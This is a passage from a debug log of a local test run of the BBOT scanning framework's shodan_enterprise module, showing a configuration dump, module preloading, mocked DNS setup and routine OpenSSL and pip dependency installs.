False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_ww2fvo6n1e'}, 'started_at': '2026-02-27T21:27:15.310381', 'finished_at': '2026-02-27T21:27:15.920064', 'duration_seconds': 0.609683, 'duration': '0 seconds', 'status': 'FINISHED'} +2026-02-27 21:27:16,082 [CRITICAL] bbot test_module_shodan_enterprise.py:23 set() +2026-02-27 21:27:16,082 [CRITICAL] bbot test_module_shodan_enterprise.py:25 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:16,084 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 21:27:16,084 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 21:31:18,654 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:31:18,665 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:31:18,667 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:31:18,669 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:31:18,670 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:31:18,672 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:31:18,674 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:31:18,675 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:31:18,676 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:31:18,676 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:31:18,677 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:31:18,678 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:31:18,678 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:31:18,679 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:31:18,680 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:31:18,681 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:31:18,682 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:31:18,683 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:31:18,684 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:31:18,684 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:31:18,685 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:31:18,686 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:31:18,687 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:31:18,688 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:31:18,689 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 21:31:18,689 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:31:18,695 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:31:18,696 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:31:18,697 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:31:18,698 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:31:18,699 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:31:18,700 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:31:18,701 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:31:18,702 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:31:18,703 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:31:18,704 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:31:18,705 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:31:18,706 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:31:18,707 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:31:18,708 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:31:18,709 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:31:18,710 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:31:18,711 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:31:18,712 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:31:18,712 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:31:18,713 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:31:18,714 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:31:18,715 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:31:18,716 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:31:18,717 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:31:18,718 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:31:18,719 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:31:18,727 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:31:18,728 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:31:18,729 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:31:18,730 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:31:18,731 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:31:18,733 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:31:18,734 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:31:18,734 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:31:18,735 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:31:18,736 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:31:18,738 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:31:18,739 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:31:18,740 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:31:18,741 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:31:18,742 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:31:18,743 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:31:18,744 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:31:18,745 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:31:18,745 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:31:18,746 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:31:18,747 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:31:18,747 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:31:18,748 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:31:18,749 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:31:18,750 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:31:18,751 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:31:18,752 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:31:18,754 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:31:18,755 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:31:18,756 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:31:18,757 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:31:18,758 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:31:18,759 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:31:18,760 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 21:31:18,760 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:31:18,761 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:31:18,762 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:31:18,763 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:31:18,764 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:31:18,765 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:31:18,766 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 21:31:18,766 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:31:18,767 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:31:18,768 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:31:18,769 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:31:18,770 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:31:18,771 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:31:18,771 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:31:18,772 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:31:18,774 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:31:18,775 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:31:18,775 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:31:18,776 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:31:18,778 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:31:18,779 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:31:18,779 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:31:18,780 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:31:18,781 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:31:18,782 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:31:18,783 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:31:18,784 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:31:18,785 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:31:18,786 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:31:18,787 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:31:18,788 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:31:18,789 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:31:18,790 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:31:18,791 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:31:18,792 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:31:18,793 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:31:18,794 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:31:18,794 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:31:18,795 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:31:18,796 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:31:18,797 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:31:18,798 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:31:18,799 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:31:18,800 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:31:18,800 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:31:18,801 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:31:18,802 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:31:18,803 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:31:18,804 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:31:18,805 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:31:18,806 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:31:18,808 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:31:18,809 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:31:18,813 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:31:18,814 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:31:18,815 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:31:18,816 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:31:18,818 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:31:18,819 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:31:18,821 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:31:18,822 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:31:18,822 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:31:18,823 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:31:18,824 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:31:18,825 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:31:18,826 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:31:18,827 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:31:18,828 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:31:18,829 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:31:18,830 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:31:18,832 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:31:18,832 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:31:18,833 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:31:18,835 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:31:18,836 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:31:18,837 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:31:18,837 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:31:18,838 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:31:18,840 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:31:18,841 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:31:18,842 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:31:18,843 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:31:18,844 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:31:18,845 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:31:19,020 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4504877328 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:31:19,021 [DEBUG] filelock _api.py:334 Lock 4504877328 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:31:19,022 [DEBUG] filelock _api.py:364 Attempting to release lock 4504877328 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:31:19,022 [DEBUG] filelock _api.py:367 Lock 4504877328 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:31:19,954 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:31:19,954 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:31:19,955 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:31:20,094 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:31:20,672 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:31:20,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:31:20,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:31:20,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:31:20,887 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:31:20,889 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:31:20,998 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:31:20,998 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:31:21,057 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 21:31:21,060 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:31:21,060 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:31:21,515 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:31:21,516 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:31:24,595 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:31:24,596 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:31:24,596 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:31:26,599 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:31:26,601 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:31:26,606 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:31:26,606 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:31:26,607 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:31:26,607 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:31:26,611 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/5lubvuerwgeod1gdtnce +2026-02-27 21:31:27,450 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:31:27,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:31:27,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:31:27,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:31:27,452 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:31:27,452 [DEBUG] 